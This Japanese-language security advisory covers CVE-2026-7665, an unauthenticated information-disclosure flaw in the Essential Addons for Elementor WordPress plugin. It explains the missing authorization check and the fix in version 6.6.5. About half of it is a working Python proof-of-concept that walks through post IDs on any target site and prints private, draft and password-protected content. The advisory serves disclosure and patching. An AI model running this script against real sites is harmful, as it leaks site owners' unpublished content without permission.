| フィールド | 詳細 |
|---|
| CVE ID | CVE-2026-7665 |
| 深刻度 | Medium |
| CVSS スコア | 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |
| 影響を受けるプラグイン | Essential Addons for Elementor |
| 影響を受けるバージョン | ≤ 6.6.4 |
| アクティブインストール数 | 1,000,000+ |
| CVE 割り当て元 | Wordfence (CNA) |
| 公開日 | 2026年6月 |
| 研究者 | Anirudh Makkar |
Essential Addons for Elementor の ajax_load_more AJAX ハンドラは、投稿コンテンツを返す前に投稿の公開状態を確認していませんでした。これにより、認証されていない攻撃者が細工した wp-admin/admin-ajax.php リクエストを送信することで、WordPress の 非公開(private)、パスワード保護(password-protected)、下書き(draft) の投稿を読み取ることが可能でした。認証や nonce は不要です。
プラグインは wp_ajax_nopriv_eael_post_grid_load_more アクションフックにハンドラを登録しており、認証されていない訪問者でもアクセス可能です。このハンドラが「さらに読み込む」ページネーション機能のために WP_Query を実行して投稿を取得する際、current_user_can('read_post', $post_id) の呼び出しや、リクエストユーザーの権限に応じた get_post_status() のチェックを行いません。
WordPress コアは AJAX ハンドラ内での投稿レベルの認可チェックをプラグインに依存しており、自動的には行いません。このチェックが欠如しているため、投稿の公開設定に関わらずハンドラは完全な投稿コンテンツを返します。
wp-admin/admin-ajax.php
→ do_action('wp_ajax_nopriv_eael_post_grid_load_more')
→ Essential_Addons_for_Elementor\Classes\Bootstrap::eael_post_grid_load_more()
→ WP_Query([
'post_status' => ['publish', 'private', 'draft'], // すべてのステータスが返される
...
])
→ [認可チェックなしで完全な投稿コンテンツを返す]
認証されていない攻撃者は以下を列挙および読み取り可能です:
これにより、機密性の高いビジネスコンテンツ、未発表のお知らせ、WordPress 投稿として管理されている内部ドキュメント、その他非公開のコンテンツが漏洩する可能性があります。
#!/usr/bin/env python3
"""
CVE-2026-7665 — 非認証情報漏洩
Essential Addons for Elementor <= 6.6.4
使用方法: python3 poc.py https://target.example.com [post_id]
投稿IDを反復し、非公開/下書き/パスワード保護コンテンツを抽出します。
教育目的および許可されたテスト目的のみで使用してください。
"""
import requests
import sys
import json
def check_target(base_url):
"""プラグインが存在するか確認。"""
resp = requests.get(f"{base_url}/wp-content/plugins/essential-addons-for-elementor-lite/", timeout=8)
return resp.status_code != 404
def fetch_private_post(base_url, post_id, widget_id="1", page_id="1"):
url = f"{base_url}/wp-admin/admin-ajax.php"
data = {
"action": "eael_post_grid_load_more",
"widget_id": widget_id,
"page_id": page_id,
"post_id": str(post_id),
"page": "2",
}
try:
resp = requests.post(url, data=data, timeout=10)
if resp.status_code == 200 and resp.text.strip() not in ("-1", "0", ""):
return resp.text
except requests.RequestException:
pass
return None
def main():
if len(sys.argv) < 2:
print(f"使用方法: {sys.argv[0]} <target_url> [start_id] [end_id]")
sys.exit(1)
target = sys.argv[1].rstrip("/")
start_id = int(sys.argv[2]) if len(sys.argv) > 2 else 1
end_id = int(sys.argv[3]) if len(sys.argv) > 3 else 50
print(f"[*] ターゲット: {target}")
print(f"[*] 投稿ID {start_id}–{end_id} を調査中")
if not check_target(target):
print("[!] プラグインが検出されませんでした。ターゲットはパッチ済みか、EAEL が実行されていない可能性があります")
found = 0
for pid in range(start_id, end_id + 1):
result = fetch_private_post(target, pid)
if result:
found += 1
print(f"\n[+] 投稿ID {pid} — コンテンツが露出 ({len(result)} バイト)")
print(result[:300])
print("..." if len(result) > 300 else "")
print(f"\n[*] 完了。露出したコンテンツが見つかった投稿数: {found}")
if __name__ == "__main__":
main()
Essential Addons for Elementor を バージョン 6.6.5 以降 に更新してください。
この修正では、読み込みハンドラ内でクエリ結果に投稿を含める前に current_user_can('read_post', $post_id) チェックを追加しています。
報告者: Anirudh Makkar · LinkedIn